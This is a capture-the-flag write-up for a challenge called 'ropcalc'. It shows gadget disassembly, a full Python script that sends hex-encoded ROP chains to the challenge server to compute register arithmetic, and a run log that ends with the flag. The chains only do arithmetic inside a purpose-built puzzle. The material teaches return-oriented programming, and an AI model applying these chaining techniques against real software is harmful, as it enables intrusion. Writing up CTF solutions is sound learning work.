How could I resist a challenge called ropcalc?
We’re given the python server and a binary. We’re supposed to write a ROP chain to satisfy certain conditions. The server.py will then pass random values for the registers to the binary, along with the ROP chain we provide. After execution of the ROP chain, it will check if the ROP chain has calculated the right answer. Pretty nifty, if you ask me!
The binary itself is actually packed with everything we need:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
0000000000400b40 <sub_rax_rbx>:
400b40: sub rax,rbx
400b43: ret
400b44: data32 data32 nop WORD PTR cs:[rax+rax*1+0x0]
0000000000400b50 <imul_rax_rbx>:
400b50: imul rax,rbx
400b54: ret
400b55: data32 nop WORD PTR cs:[rax+rax*1+0x0]
0000000000400b60 <xchg_rax_rbx>:
400b60: xchg rbx,rax
400b62: ret
400b63: data32 data32 data32 nop WORD PTR cs:[rax+rax*1+0x0]
The expressions we need to satisfy look like this: $rax + $rbx + 1337 (store result in rax)
I’ll just give the final exploit as it’s not that difficult:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/python
import struct , time
from socket import *
def q ( x ):
return struct . pack ( "<Q" , x )
def readtil ( delim ):
buf = b ''
while not delim in buf :
buf += s . recv ( 1 )
return buf
def toHex ( x ):
payload = ""
for i in x :
payload += ' %02x ' % ord ( i )
return payload
def pwn ():
global s
s = socket ( AF_INET , SOCK_STREAM )
s . connect (( 'challs.campctf.ccc.ac' , 10109 ))
readtil ( 'line:' )
rop1 = ""
rop1 += q ( 0x00400b30 )
rop1 += q ( 0x004046ab ) # ret
s . send ( toHex ( rop1 ) + ' \n ' )
print readtil ( 'line:' )
rop2 = ""
rop2 += q ( 0x400900 ) # pop_rcx
rop2 += q ( 1337 )
rop2 += q ( 0x400b80 ) # add rax, rcx
rop2 += q ( 0x400b30 ) # add rax, rbx
rop2 += q ( 0x4046ab ) # ret
s . send ( toHex ( rop2 ) + ' \n ' )
print readtil ( 'line:' )
rop3 = ""
rop3 += q ( 0x400b50 )
rop3 += q ( 0x4046ab )
s . send ( toHex ( rop3 ) + ' \n ' )
print readtil ( 'line:' )
rop4 = ""
rop4 += q ( 0x400900 ) # pop_rcx
rop4 += q ( 31337 )
rop4 += q ( 0x400f90 )
rop4 += q ( 0x400b50 )
rop4 += q ( 0x4046ab )
s . send ( toHex ( rop4 ) + ' \n ' )
# $rcx + 23 * $rax + $rbx - 42 * ($rcx - 5 * $rdx - $rdi * $rsi) - $r8 + 2015
rop5 = ""
rop5 += q ( 0x400a20 ) # pop r10
rop5 += q ( 23 )
rop5 += q ( 0x400d80 ) # imul rax, r10
rop5 += q ( 0x400b80 ) # add rax, rcx
rop5 += q ( 0x400b30 ) # add rax, rbx
rop5 += q ( 0x400cd0 ) # sub rax, r8
rop5 += q ( 0x400a20 ) # pop r10
rop5 += q ( 2015 )
rop5 += q ( 0x400d60 ) # add rax, r10
rop5 += q ( 0x4020e0 ) # imul rdi, rsi
rop5 += q ( 0x4009c0 ) # pop r8
rop5 += q ( 5 )
rop5 += q ( 0x401910 ) # imul rdx, r8
rop5 += q ( 0x4018a0 ) # add rdx, rdi
rop5 += q ( 0x401400 ) # sub rcx, rdx
rop5 += q ( 0x4009c0 ) # pop r8
rop5 += q ( 42 )
rop5 += q ( 0x401500 ) # imul rcx, r8
rop5 += q ( 0x400b90 ) # sub rax, rcx
rop5 += q ( 0x4046ab )
s . send ( toHex ( rop5 ) + ' \n ' )
import telnetlib
t = telnetlib . Telnet ()
t . sock = s
t . interact ()
pwn ()
And in action:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
bas @tritonal : ~/ bin / ccc / ropc $ python poc3 . py
Correct !
--------------------------------------------------------------------------------
Level [ 2 / 5 ]
Create a ROP chain that calculates : $ rax + $ rbx + 1337 ( store result in rax )
Enter your solution as a single hex encoded line :
Correct !
--------------------------------------------------------------------------------
Level [ 3 / 5 ]
Create a ROP chain that calculates : $ rax * $ rbx ( store result in rax )
Enter your solution as a single hex encoded line :
Correct !
--------------------------------------------------------------------------------
Level [ 4 / 5 ]
Create a ROP chain that calculates : $ rax * ( 31337 + $ rbx ) ( store result in rax )
Enter your solution as a single hex encoded line :
Correct !
--------------------------------------------------------------------------------
Level [ 5 / 5 ]
Create a ROP chain that calculates : $ rcx + 23 * $ rax + $ rbx - 42 * ( $ rcx - 5 * $ rdx - $ rdi * $ rsi ) - $ r8 + 2015 ( store result in rax )
Enter your solution as a single hex encoded line : Correct !
--------------------------------------------------------------------------------
The flag is : CAMP15_c0342e0be22dc032de05aa637c8ee8a3
*** Connection closed by remote host ***